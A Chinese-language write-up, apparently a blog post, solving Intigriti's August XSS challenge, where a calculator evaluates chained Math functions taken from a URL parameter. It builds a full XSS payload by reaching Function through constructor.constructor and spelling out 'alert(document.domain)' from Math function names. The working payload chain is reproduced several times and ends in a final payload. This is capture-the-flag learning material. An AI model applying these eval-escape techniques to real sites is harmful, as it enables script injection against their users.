Intigriti’s August XSS challenge
Author:堇姬Naup
題目
https://challenge-0823.intigriti.io/
有一個計算機可以輸入東西,只要有執行alert(document.domain)
就可以過了
Source code
1 | <script> |
解決
他用eval來執行我們輸入的,處理你計算機的所有函數
1 | function calculateResult() { |
他用q=
來接收,然後用逗號 ,
將其分割,並且payload用到的函數不可以>99,並且每個函數都要用Math
開頭
1 | https://challenge-0823.intigriti.io/challenge/index.html/?q=Math.random,Math.tan,Math.floor |
會被用成f3(f2(f1(...)))
的樣子
1 | let qs = new URLSearchParams(window.location.search) |
首先會想創建一個Function()
來去執行js
1 | const sum = new Function('alert(1);'); |
但是要怎麼透過Math
來去叫到Function()
這時候就可以用之前學到的constructor
來呼叫了
1 | function Person(name) { |
他會找到創建 person的Person()
如果嘗試對Object,做constructor
會抓到創建Object的Function()
Math是一個Object,如果你對Math
先做一次.constructor
會抓到Object
,在去做一次.constructor
,就會抓到Function()
,建立一個匿名函數
而如果用sort的話可以run起來這個匿名函數內容
透過Function()建立匿名函數來讓Function()包的string被執行到,再透過sort run匿名函數,就可以成功執行js
1 | Math.seeds.sort(Math.constructor.constructor('alert(document.domain)')) |
1 | constructor.constructor,Math.seeds.sort |
接下來就是要嘗試拼出'alert(document.domain)'
這邊或許可以利用看看
https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/String/charAt
1 | .charAt() |
如果用
1 | "ABCD".charAt(0) |
會抓到A
找找看有沒有可用的string可以去掉用到string
看了Math底下的東西,會發現底下函數有些有包含道string
像是
1 | Math.acos.name |
1 | Math.acos.name.charAt(0) |
就可以抓到a
但是怎麼拿到0
可以用seeds裡面的數字,0.多被轉成int變成0,所以可以拿到第一個數字
用
pop()
可以拿到最後一個所以構造(最後再把push進去a到seeds存下來)
1 | Math.seeds.push(Math.acos.name.charAt(Math.seeds.pop())) |
再來要拿l
當你用Math.seeds.push
時,同時會噴出陣列長度,此時這裡會噴出5來,把他丟進去cos
會等於0.28366218546
,被轉int一樣會變成,看到log第一個自是l,所以直接抓。
1 | Math.seeds.pop,Math.acos.name.charAt,Math.seeds.push,Math.cos,Math.log.name.charAt,Math.seeds.push |
拿e
1 | Math.cos,Math.expm1.name.charAt,Math.seeds.push |
拿r
1 | Math.cos,Math.round.name.charAt,Math.seeds.push |
拿t
1 | Math.cos,Math.trunc.name.charAt,Math.seeds.push |
組出alert
目前payload
1 | Math.seeds.pop,Math.acos.name.charAt,Math.seeds.push,Math.cos,Math.log.name.charAt,Math.seeds.push,Math.cos,Math.expm1.name.charAt,Math.seeds.push,Math.cos,Math.round.name.charAt,Math.seeds.push,Math.cos,Math.trunc.name.charAt,Math.seeds.push |
再來就遇到了(
這裡應該要嘗試看看有沒有辦法用ASCII呼叫到
但我究竟要怎麼取的能夠把ASCII轉char的函數呢?
https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/String/fromCharCode
1 | String.fromCharCode() |
可以去把ASCII轉char
不過我需要用到String物件,我要如何抓到他?
你可以使用前面用過的
1 | .constructor |
對一個string做.constructor
會抓到物件String,就可以抓到.fromCharCode()
1 | Math.acos.name.constructor.fromCharCode() |
這個方法可以拿到40,所以將他放入Math.acos.name.constructor.fromCharCode()
可以得到(
1 | Math.ceil(Math.log2(Math.cosh(Math.clz32(9)))) |
1 | Math.clz32,Math.cosh,Math.log2,Math.ceil,Math.toString.name.constructor.fromCharCode,Math.seeds.push |
跟上面payload組起來
1 | Math.seeds.pop,Math.acos.name.charAt,Math.seeds.push,Math.cos,Math.log.name.charAt,Math.seeds.push,Math.cos,Math.expm1.name.charAt,Math.seeds.push,Math.cos,Math.round.name.charAt,Math.seeds.push,Math.cos,Math.trunc.name.charAt,Math.seeds.push,Math.clz32,Math.cosh,Math.log2,Math.ceil,Math.toString.name.constructor.fromCharCode,Math.seeds.push |
再來繼續
抓d
1 | Math.tan,Math.constructor.defineProperties.name.charAt,Math.seeds.push |
等等…基本上都是同個概念了
直接把他寫完,得到一個陣列存了我們要的alert(document.domain)
1 | Math.seeds.pop,Math.abs.name.charAt,Math.seeds.push,Math.cos,Math.log.name.charAt,Math.seeds.push,Math.cos,Math.exp.name.charAt,Math.seeds.push,Math.cos,Math.round.name.charAt,Math.seeds.push,Math.sin,Math.tan.name.charAt,Math.seeds.push,Math.clz32,Math.cosh,Math.log2,Math.ceil,Math.toString.name.constructor.fromCharCode,Math.seeds.push,Math.tan,Math.constructor.defineProperties.name.charAt,Math.seeds.push,Math.log10,Math.round.name.charAt,Math.seeds.push,Math.cos,Math.ceil.name.charAt,Math.seeds.push,Math.cos,Math.seeds.unshift.name.charAt,Math.seeds.push,Math.cos,Math.max.name.charAt,Math.seeds.push,Math.sin,Math.exp.name.charAt,Math.seeds.push,Math.log,Math.sin.name.charAt,Math.seeds.push,Math.tan,Math.sqrt.name.charAt,Math.seeds.push,Math.sqrt,Math.atan,Math.exp,Math.exp,Math.ceil,Math.toString.name.constructor.fromCharCode,Math.seeds.push,Math.sqrt,Math.round.name.charAt,Math.seeds.push,Math.log10,Math.round.name.charAt,Math.seeds.push,Math.sin,Math.max.name.charAt,Math.seeds.push,Math.tan,Math.abs.name.charAt,Math.seeds.push,Math.tanh,Math.sin.name.charAt,Math.seeds.push,Math.acosh,Math.round.name.charAt,Math.seeds.push,Math.sqrt,Math.clz32,Math.cosh,Math.log2,Math.ceil,Math.toString.name.constructor.fromCharCode,Math.seeds.push |
接下來要把陣列裡面的字元串在一起變成字串,不過首先要先刪掉該陣列的前4項數字,方便操作,這邊可以用shift()
https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/shift
1 | Math.seeds.shift |
做四次
1 | Math.seeds.pop,Math.abs.name.charAt,Math.seeds.push,Math.cos,Math.log.name.charAt,Math.seeds.push,Math.cos,Math.exp.name.charAt,Math.seeds.push,Math.cos,Math.round.name.charAt,Math.seeds.push,Math.sin,Math.tan.name.charAt,Math.seeds.push,Math.clz32,Math.cosh,Math.log2,Math.ceil,Math.toString.name.constructor.fromCharCode,Math.seeds.push,Math.tan,Math.constructor.defineProperties.name.charAt,Math.seeds.push,Math.log10,Math.round.name.charAt,Math.seeds.push,Math.cos,Math.ceil.name.charAt,Math.seeds.push,Math.cos,Math.seeds.unshift.name.charAt,Math.seeds.push,Math.cos,Math.max.name.charAt,Math.seeds.push,Math.sin,Math.exp.name.charAt,Math.seeds.push,Math.log,Math.sin.name.charAt,Math.seeds.push,Math.tan,Math.sqrt.name.charAt,Math.seeds.push,Math.sqrt,Math.atan,Math.exp,Math.exp,Math.ceil,Math.toString.name.constructor.fromCharCode,Math.seeds.push,Math.sqrt,Math.round.name.charAt,Math.seeds.push,Math.log10,Math.round.name.charAt,Math.seeds.push,Math.sin,Math.max.name.charAt,Math.seeds.push,Math.tan,Math.abs.name.charAt,Math.seeds.push,Math.tanh,Math.sin.name.charAt,Math.seeds.push,Math.acosh,Math.round.name.charAt,Math.seeds.push,Math.sqrt,Math.clz32,Math.cosh,Math.log2,Math.ceil,Math.toString.name.constructor.fromCharCode,Math.seeds.push,Math.seeds.shift,Math.seeds.shift,Math.seeds.shift,Math.seeds.shift |
乾淨了,目前還有19個函式的空間
接下來讓他變string,可以用join()
但是如果直接用會變成中間都有,
,所以這裡可以加入一個空陣列參數[]
讓他中間不會有逗號。
https://developer.mozilla.org/zh-TW/docs/Web/JavaScript/Reference/Global_Objects/Array/join
這是一個[]
1 | Math.seeds.constructor |
另外,執行上一個payload,最後一個返回的會是0.62536
你把一個float丟進Math.seeds.constructor
會噴錯,但你丟入整數就會正常執行,所以要加個floor,強制把0.62536轉0
https://developer.mozilla.org/zh-TW/docs/Web/JavaScript/Reference/Global_Objects/Math/floor
所以payload
1 | Math.floor,Math.seeds.constructor,Math.seeds.join |
https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Math/floor
目前payload
1 | Math.seeds.pop,Math.abs.name.charAt,Math.seeds.push,Math.cos,Math.log.name.charAt,Math.seeds.push,Math.cos,Math.exp.name.charAt,Math.seeds.push,Math.cos,Math.round.name.charAt,Math.seeds.push,Math.sin,Math.tan.name.charAt,Math.seeds.push,Math.clz32,Math.cosh,Math.log2,Math.ceil,Math.toString.name.constructor.fromCharCode,Math.seeds.push,Math.tan,Math.constructor.defineProperties.name.charAt,Math.seeds.push,Math.log10,Math.round.name.charAt,Math.seeds.push,Math.cos,Math.ceil.name.charAt,Math.seeds.push,Math.cos,Math.seeds.unshift.name.charAt,Math.seeds.push,Math.cos,Math.max.name.charAt,Math.seeds.push,Math.sin,Math.exp.name.charAt,Math.seeds.push,Math.log,Math.sin.name.charAt,Math.seeds.push,Math.tan,Math.sqrt.name.charAt,Math.seeds.push,Math.sqrt,Math.atan,Math.exp,Math.exp,Math.ceil,Math.toString.name.constructor.fromCharCode,Math.seeds.push,Math.sqrt,Math.round.name.charAt,Math.seeds.push,Math.log10,Math.round.name.charAt,Math.seeds.push,Math.sin,Math.max.name.charAt,Math.seeds.push,Math.tan,Math.abs.name.charAt,Math.seeds.push,Math.tanh,Math.sin.name.charAt,Math.seeds.push,Math.acosh,Math.round.name.charAt,Math.seeds.push,Math.sqrt,Math.clz32,Math.cosh,Math.log2,Math.ceil,Math.toString.name.constructor.fromCharCode,Math.seeds.push,Math.seeds.shift,Math.seeds.shift,Math.seeds.shift,Math.seeds.shift,Math.floor, Math.seeds.constructor,Math.seeds.join |
最後把最前面執行的串在一起,就可以成功XSS了
final Payload
1 | Math.seeds.pop,Math.abs.name.charAt,Math.seeds.push,Math.cos,Math.log.name.charAt,Math.seeds.push,Math.cos,Math.exp.name.charAt,Math.seeds.push,Math.cos,Math.round.name.charAt,Math.seeds.push,Math.sin,Math.tan.name.charAt,Math.seeds.push,Math.clz32,Math.cosh,Math.log2,Math.ceil,Math.toString.name.constructor.fromCharCode,Math.seeds.push,Math.tan,Math.constructor.defineProperties.name.charAt,Math.seeds.push,Math.log10,Math.round.name.charAt,Math.seeds.push,Math.cos,Math.ceil.name.charAt,Math.seeds.push,Math.cos,Math.seeds.unshift.name.charAt,Math.seeds.push,Math.cos,Math.max.name.charAt,Math.seeds.push,Math.sin,Math.exp.name.charAt,Math.seeds.push,Math.log,Math.sin.name.charAt,Math.seeds.push,Math.tan,Math.sqrt.name.charAt,Math.seeds.push,Math.sqrt,Math.atan,Math.exp,Math.exp,Math.ceil,Math.toString.name.constructor.fromCharCode,Math.seeds.push,Math.sqrt,Math.round.name.charAt,Math.seeds.push,Math.log10,Math.round.name.charAt,Math.seeds.push,Math.sin,Math.max.name.charAt,Math.seeds.push,Math.tan,Math.abs.name.charAt,Math.seeds.push,Math.tanh,Math.sin.name.charAt,Math.seeds.push,Math.acosh,Math.round.name.charAt,Math.seeds.push,Math.sqrt,Math.clz32,Math.cosh,Math.log2,Math.ceil,Math.toString.name.constructor.fromCharCode,Math.seeds.push,Math.seeds.shift,Math.seeds.shift,Math.seeds.shift,Math.seeds.shift,Math.floor,Math.seeds.constructor,Math.seeds.join,Math.constructor.constructor,Math.seeds.sort |